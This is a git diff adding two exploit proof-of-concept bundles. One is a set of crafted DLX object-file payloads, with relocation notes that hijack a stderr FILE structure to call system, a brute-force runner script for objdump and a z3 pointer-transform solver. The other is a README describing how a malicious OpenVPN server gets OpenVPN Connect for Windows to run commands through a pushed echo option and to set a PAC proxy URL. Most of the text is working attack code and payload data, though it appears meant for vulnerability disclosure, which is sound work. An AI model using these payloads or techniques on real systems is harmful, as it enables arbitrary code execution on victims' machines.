reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..8ab15f39345a5c409de89094f2b838e8e80ce07a GIT binary patch literal 1280 zcmd5*%}QHA7(F*P8e`O^rdqWH7YY@G)Vc8&DGE{*DnxK0=t2ypRg5NNBG^@5!I$XD z_8naM_W*eSK|$ZZ#qIg-PjWL0>C%Cj^PTgZ`(lhMfZ+Kr-5IY3yBoHeB@ucfsm4P)bP?@y zpj+?{&?DcS0dH*9P627^@h;%4=yjl1^g|#cdI@+({W=ZwiGBn0i+&5d7kw2Ni1}AH z7~J4cfFEAGQ5K8*FWeaq#SbjFu1k#f`aI4!$`h!M{*B~24S%=c=f3eA@n;Nwzu_M= z@*j=-u#q1z@}J5RRGRxAH~gOsf3C807d_vM;h#7B3wd!j>n|Dp6~q6HT<$fz&pcxp zA>Z(6gKxHQJprwt9q1hNB=i*YH1rJgEc6^xl4f4fpy*JvD0&o4iY`T)qR*kvkvjA_ z^f`Qg*;?_mhU{LkaPnj4;P`tP*=n)W!u8Li+HL_^U90-IA4I_({|BVUWQOltUcU5H zIKntVA=;0#~${NUg$63@8%@g)a5 FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..b5c3aa641919b4fca6e185239df6c5dc1b4a6170 GIT binary patch literal 1280 zcmd5*%St0b6g{1e#%O%T$M}F*C@2Wg>Zpl`I4Cm;BRJqf(1j?*2gWg28PJu#;7_=k z@gHV6K0d%75QUjPaM7OIue7xoTv||l?m74LP4&&K^Uup)tb~PVS?iaKV}kwU|tv0%<{hU!&k(Zoz**hG_o; zngxFWE%M$4&}y@G6VOIInE~2GzXv)*KLoO(mw`^|H*G+d=(j+(=yyPm=u5zdgx|W} zpo4t@_W!q|EEfA;crtzzU$Ef1E-~5R^CaUqPvL&(Dwc0F{LO}+=f-o)pEdm5hQHUy z4;cB6Mt;!94_C(IxY7AX4gZ+o&sXLj;{Jl+pE3M%D_;4i{(|9OH2h!5rLSQ>R~X9* z`KnJNzV?diacBkYKUe!7HgL;a2oILUTGnrpI&O}-=a< FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..2aa0f77799adc9dc78d601dfe3da9fd79282c6a8 GIT binary patch literal 1280 zcmd5*%}QHA7(F*PdK05o6SdU}E)*&ViF0GsQc8tT6)GsW5bUBT#vc+jI1%isuh5rp zrM`nptv-McP*A9E(8cZf?w{9Lh)V}%&Uemt?w6U#H$T5D%vvc6@vv5p87Bn$&d*Kw z>nI$w#@-hdq-ubj1yXe&o%OuSeV|4770@bp4LG7VfDC!=7RU5cA|X( zbO@dTo$}o;;FZnVIiQPrx*g~i{RYU3UIPlE*MT1Dzq^25(XW6$(XWBmqR#_wQo+^r zhc`G7;@c;0l*JPN3wOpt@dFE<=MmHSfTtNJxr3XLvqZkl@OKz~?i>FS{(|A}GyMHV ze$dDd8Tnx&|E^Jz?Z*2bGyEmPUv5b_rkb1dWp a8TJyFZ+;jo(eIWe`Jl^t#-|4!?EOF6k$|B9 literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.notes new file mode 100644 index 0000000..1621122 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s7043e4ff.notes @@ -0,0 +1,33 @@ +layout=wsl2404 +flag_byte4=0x05 +buf_delta=0x702fff00 +wide_delta=0x4fff0000 +system_delta=0x7043e4ff +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..eb0f225ae2be3a6e884d62ccefde92d483d2dcc5 GIT binary patch literal 1280 zcmd5*%}N_l7(J7T`B78T#HMNsE-JJTh~9~<7AY;3)QiN71C{QnV@h9Qquo zL!U#R!~0ii*ACh!ZPu#$TN^uj-x?^jYV|&@55Kp+R#DRJmXF&(6rAxcATuUAyytTB zWv0Rv#z_j%d7LNb9qFzxm#4z{$GaeNMwBgeygn0C+%gx!gJrRnbxJb8%~ALKGMmMK b6J*)Te5`w+{|JA#EXkfO_Ze?`+&}w29TtA0 literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.notes new file mode 100644 index 0000000..5415420 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7042e500.notes @@ -0,0 +1,33 @@ +layout=wsl2404 +flag_byte4=0x06 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x7042e500 +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b6f300000_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..8ab15f39345a5c409de89094f2b838e8e80ce07a GIT binary patch literal 1280 zcmd5*%}QHA7(F*P8e`O^rdqWH7YY@G)Vc8&DGE{*DnxK0=t2ypRg5NNBG^@5!I$XD z_8naM_W*eSK|$ZZ#qIg-PjWL0>C%Cj^PTgZ`(lhMfZ+Kr-5IY3yBoHeB@ucfsm4P)bP?@y zpj+?{&?DcS0dH*9P627^@h;%4=yjl1^g|#cdI@+({W=ZwiGBn0i+&5d7kw2Ni1}AH z7~J4cfFEAGQ5K8*FWeaq#SbjFu1k#f`aI4!$`h!M{*B~24S%=c=f3eA@n;Nwzu_M= z@*j=-u#q1z@}J5RRGRxAH~gOsf3C807d_vM;h#7B3wd!j>n|Dp6~q6HT<$fz&pcxp zA>Z(6gKxHQJprwt9q1hNB=i*YH1rJgEc6^xl4f4fpy*JvD0&o4iY`T)qR*kvkvjA_ z^f`Qg*;?_mhU{LkaPnj4;P`tP*=n)W!u8Li+HL_^U90-IA4I_({|BVUWQOltUcU5H zIKntVA=;0#~${NUg$63@8%@g)a5 FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..b5c3aa641919b4fca6e185239df6c5dc1b4a6170 GIT binary patch literal 1280 zcmd5*%St0b6g{1e#%O%T$M}F*C@2Wg>Zpl`I4Cm;BRJqf(1j?*2gWg28PJu#;7_=k z@gHV6K0d%75QUjPaM7OIue7xoTv||l?m74LP4&&K^Uup)tb~PVS?iaKV}kwU|tv0%<{hU!&k(Zoz**hG_o; zngxFWE%M$4&}y@G6VOIInE~2GzXv)*KLoO(mw`^|H*G+d=(j+(=yyPm=u5zdgx|W} zpo4t@_W!q|EEfA;crtzzU$Ef1E-~5R^CaUqPvL&(Dwc0F{LO}+=f-o)pEdm5hQHUy z4;cB6Mt;!94_C(IxY7AX4gZ+o&sXLj;{Jl+pE3M%D_;4i{(|9OH2h!5rLSQ>R~X9* z`KnJNzV?diacBkYKUe!7HgL;a2oILUTGnrpI&O}-=a< FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..2aa0f77799adc9dc78d601dfe3da9fd79282c6a8 GIT binary patch literal 1280 zcmd5*%}QHA7(F*PdK05o6SdU}E)*&ViF0GsQc8tT6)GsW5bUBT#vc+jI1%isuh5rp zrM`nptv-McP*A9E(8cZf?w{9Lh)V}%&Uemt?w6U#H$T5D%vvc6@vv5p87Bn$&d*Kw z>nI$w#@-hdq-ubj1yXe&o%OuSeV|4770@bp4LG7VfDC!=7RU5cA|X( zbO@dTo$}o;;FZnVIiQPrx*g~i{RYU3UIPlE*MT1Dzq^25(XW6$(XWBmqR#_wQo+^r zhc`G7;@c;0l*JPN3wOpt@dFE<=MmHSfTtNJxr3XLvqZkl@OKz~?i>FS{(|A}GyMHV ze$dDd8Tnx&|E^Jz?Z*2bGyEmPUv5b_rkb1dWp a8TJyFZ+;jo(eIWe`Jl^t#-|4!?EOF6k$|B9 literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.notes new file mode 100644 index 0000000..0e9cf28 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f06_b702fff00_s7043e4ff.notes @@ -0,0 +1,33 @@ +layout=wsl2404 +flag_byte4=0x06 +buf_delta=0x702fff00 +wide_delta=0x4fff0000 +system_delta=0x7043e4ff +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/run_dlx_calc_poc.sh b/objdump-dlx-calc-poc/run_dlx_calc_poc.sh new file mode 100755 index 0000000..56d5e3d --- /dev/null +++ b/objdump-dlx-calc-poc/run_dlx_calc_poc.sh @@ -0,0 +1,40 @@ +#!/usr/bin/env bash +set -u + +BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +OUT_DIR="${2:-$BASE_DIR/payloads}" +MAX_TRIES="${MAX_TRIES:-50}" + +if [ "$#" -lt 1 ]; then + echo "usage: $0 /path/to/objdump [payload-directory]" >&2 + exit 2 +fi + +OBJ="$1" + +if [ ! -x "$OBJ" ]; then + echo "objdump not executable: $OBJ" >&2 + exit 2 +fi + +if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then + python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null +fi + +cd "$BASE_DIR" || exit 2 +export PATH="$BASE_DIR:$PATH" +rm -f "$BASE_DIR/calc_hit.log" + +for try in $(seq 1 "$MAX_TRIES"); do + for payload in "$OUT_DIR"/*.bin; do + python3 -c 'import subprocess, sys +subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true + if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then + echo "HIT try=$try payload=$payload" + exit 0 + fi + done +done + +echo "MISS after $MAX_TRIES sweeps" >&2 +exit 1 diff --git a/objdump-dlx-calc-poc/tools/search_pointer_transform.py b/objdump-dlx-calc-poc/tools/search_pointer_transform.py new file mode 100644 index 0000000..62234de --- /dev/null +++ b/objdump-dlx-calc-poc/tools/search_pointer_transform.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +import argparse +from itertools import product + +from z3 import BitVec, BitVecVal, Extract, Solver, ZeroExt, sat + + +STDERR = 0x2044E0 +SYSTEM = 0x58750 + + +def bytes_from_word32(x): + return [(x >> (8 * i)) & 0xFF for i in range(4)] + + +def z3_input(base): + p = (base + STDERR) & 0xFFFFFFFF + p = BitVecVal(p, 32) + return [Extract(8 * i + 7, 8 * i, p) for i in range(4)] + + +def z3_target(base): + s = (base + SYSTEM) & 0xFFFFFFFF + s = BitVecVal(s, 32) + return [Extract(8 * i + 7, 8 * i, s) for i in range(4)] + + +def add8(bs, off, k): + out = list(bs) + out[off] = out[off] + Extract(7, 0, k) + return out + + +def add16(bs, off, k): + out = list(bs) + w = (ZeroExt(8, bs[off]) << 8) | ZeroExt(8, bs[off + 1]) + w = Extract(15, 0, w + Extract(15, 0, k)) + out[off] = Extract(15, 8, w) + out[off + 1] = Extract(7, 0, w) + return out + + +def add32(bs, off, k): + out = list(bs) + w = ( + (ZeroExt(24, bs[off]) << 24) + | (ZeroExt(24, bs[off + 1]) << 16) + | (ZeroExt(24, bs[off + 2]) << 8) + | ZeroExt(24, bs[off + 3]) + ) + w = w + k + out[off] = Extract(31, 24, w) + out[off + 1] = Extract(23, 16, w) + out[off + 2] = Extract(15, 8, w) + out[off + 3] = Extract(7, 0, w) + return out + + +def apply_z3(bs, op, k): + kind, off = op + if kind == 8: + return add8(bs, off, k) + if kind == 16: + return add16(bs, off, k) + if kind == 32: + return add32(bs, off, k) + raise ValueError(op) + + +def apply_concrete(bs, op, k): + bs = list(bs) + kind, off = op + if kind == 8: + bs[off] = (bs[off] + k) & 0xFF + elif kind == 16: + w = ((bs[off] << 8) | bs[off + 1]) + w = (w + k) & 0xFFFF + bs[off] = (w >> 8) & 0xFF + bs[off + 1] = w & 0xFF + elif kind == 32: + w = (bs[off] << 24) | (bs[off + 1] << 16) | (bs[off + 2] << 8) | bs[off + 3] + w = (w + k) & 0xFFFFFFFF + bs[off] = (w >> 24) & 0xFF + bs[off + 1] = (w >> 16) & 0xFF + bs[off + 2] = (w >> 8) & 0xFF + bs[off + 3] = w & 0xFF + return bs + + +def check_all(seq, ks): + for base in range(0, 1 << 32, 0x1000): + bs = bytes_from_word32((base + STDERR) & 0xFFFFFFFF) + want = bytes_from_word32((base + SYSTEM) & 0xFFFFFFFF) + for op, k in zip(seq, ks): + bs = apply_concrete(bs, op, k) + if bs != want: + return False + return True + + +def solve_sequence(seq): + reps = [ + 0x00000000, + 0x00008000, + 0x00DFC000, + 0x00E08000, + 0xFFDFC000, + 0xFFE08000, + ] + solver = Solver() + ks = [] + for i, op in enumerate(seq): + width = {8: 8, 16: 16, 32: 32}[op[0]] + ks.append(BitVec(f"k{i}", width)) + for base in reps: + bs = z3_input(base) + for op, k in zip(seq, ks): + if op[0] != k.size(): + k = ZeroExt(op[0] - k.size(), k) + bs = apply_z3(bs, op, k) + want = z3_target(base) + for got, expected in zip(bs, want): + solver.add(got == expected) + if solver.check() != sat: + return None + model = solver.model() + vals = [model[k].as_long() for k in ks] + if check_all(seq, vals): + return vals + return None + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--max-extra", type=int, default=4) + parser.add_argument("--mode", choices=("all", "r32-first", "r32-last"), default="r32-first") + args = parser.parse_args() + + ops = [(32, 0)] + [(16, i) for i in range(3)] + [(8, i) for i in range(4)] + correction_ops = [(16, i) for i in range(3)] + [(8, i) for i in range(4)] + for extra in range(0, args.max_extra + 1): + print(f"extra={extra}", flush=True) + if args.mode == "all": + sequences = product(ops, repeat=extra + 1) + elif args.mode == "r32-first": + sequences = (((32, 0), *tail) for tail in product(correction_ops, repeat=extra)) + else: + sequences = ((*head, (32, 0)) for head in product(correction_ops, repeat=extra)) + for seq in sequences: + result = solve_sequence(seq) + if result is not None: + print("FOUND", seq, [hex(x) for x in result]) + return 0 + print("no sequence found") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/openvpn-connect-echo-script-ace-poc/.gitignore b/openvpn-connect-echo-script-ace-poc/.gitignore new file mode 100644 index 0000000..3f502b1 --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/.gitignore @@ -0,0 +1,8 @@ +runtime/ +*.log +*.status +*.stdout.txt +*.stderr.txt +__pycache__/ +.venv/ +venv/ diff --git a/openvpn-connect-echo-script-ace-poc/README.md b/openvpn-connect-echo-script-ace-poc/README.md new file mode 100644 index 0000000..c5e148c --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/README.md @@ -0,0 +1,239 @@ +# OpenVPN Connect Server-Pushed Option Findings PoC + +Benign proof of concept bundle for two locally verified OpenVPN Connect for Windows behaviors reachable from a malicious VPN server after a victim imports and connects to an `.ovpn` profile. + +This repository is intentionally marker-only. It does not use PowerShell, pop calc, install persistence, read credentials, modify protected files, or start a reverse shell. + +## Findings + +### Finding 1: Echo Script Permission Bypass to Current-User ACE + +A malicious OpenVPN server can push an `echo` option that decodes into `script.win.user.disconnect`. OpenVPN Connect later executes that command on disconnect even though the imported profile's script permission state remains unset or false. + +Server primitive: + +```text +push "echo 0:0:." +``` + +Verified impact: + +- Current-user arbitrary command execution on VPN disconnect. +- Import alone is not enough. The client must connect, receive the pushed `echo` value, and then disconnect. +- The default payload writes `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`. + +Observed permission state during local verification: + +```text +scriptsPermissionGranted=false +scriptsPermissionLocked=false +``` + +### Finding 2: Server-Pushed PAC Auto-Config State Control + +A malicious OpenVPN server can push `dhcp-option PROXY_AUTO_CONFIG_URL`. OpenVPN Connect passes the pushed PAC URL through the privileged `/tun-setup` path, and the LocalSystem agent applies the proxy action by impersonating the current user. During the VPN session, HKCU Internet Settings receives the server-controlled `AutoConfigURL`; OpenVPN Connect clears it on disconnect. + +Server primitive: + +```text +push "dhcp-option PROXY_AUTO_CONFIG_URL http://127.0.0.1:18080/openvpn-connect-ace.pac" +``` + +Verified impact: + +- Server-controlled PAC URL is applied while connected. +- The state change is transient and is cleaned up on disconnect in the tested build. +- This is not a SYSTEM shell. It is a separate server-controlled client state modification through the privileged OpenVPN Connect helper path. + +Registry state observed in local verification: + +```text +Before connect: AutoConfigURL=null, ProxyEnable=0 +During connect: AutoConfigURL=http://127.0.0.1:18080/codex-openvpn-connect.pac, ProxyEnable=0 +After disconnect: AutoConfigURL=null, ProxyEnable=0 +``` + +Relevant log indicators: + +```text +0 [dhcp-option] [PROXY_AUTO_CONFIG_URL] [http://127.0.0.1:18080/codex-openvpn-connect.pac] +/tun-setup proxy_auto_config_url.url=http://127.0.0.1:18080/codex-openvpn-connect.pac +ProxyAction: auto config: http://127.0.0.1:18080/codex-openvpn-connect.pac +``` + +## Tested Target + +- OpenVPN Connect for Windows `3.8.0 (4528)` +- OpenVPN core 